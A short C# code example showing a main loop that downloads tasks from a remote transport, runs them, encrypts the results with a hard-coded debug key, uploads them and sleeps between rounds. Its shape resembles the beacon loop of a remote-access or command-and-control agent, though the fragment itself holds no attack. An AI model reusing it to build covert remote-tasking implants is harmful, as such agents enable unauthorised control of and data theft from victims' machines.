Пример #1
0
        static void MainLoop()
        {
            bool isRun = true;

            while (isRun)
            {
#if !DEBUG
                try
#endif
                {
                    // * Download and start task
                    TaskManager.ParseTasks(TransportManager.Download());

                    // * Upload results
                    // ReSharper disable once ForCanBeConvertedToForeach
                    int index = 0;
                    for (int i = 0; i < TaskManager.Results.Count; i++) // do not use foreach loop here!
                    {
                        // Crypt results
                        var taskResultData = Cryptor.Crypt(TaskManager.Results[index].BinData, Cryptor.DEBUG_key);
                        var taskInfo       = Cryptor.Crypt(TaskManager.Results[index].Task.TaskId.GetBytes(),
                                                           Cryptor.DEBUG_key);

                        // send results
                        if (!TransportManager.Upload(taskResultData, taskInfo))
                        {
                            index++; // leave a result for next time
                            Console.WriteLine("[MainLoop] TransportManager upload failed.");
                        }
                        else
                        {
                            TaskManager.Results.RemoveAt(index); // result sended, remove this
                            Console.WriteLine("[MainLoop] TransportManager successful upload.");
                        }
                    }

                    // * Wait
                    Thread.Sleep(Config.Interval);
                }
#if !DEBUG
                catch (Exception e)
                {
                    Console.WriteLine("[MainLoop] Exception: " + e.Message + "\n" + e.StackTrace);
                }
#endif
            }
        }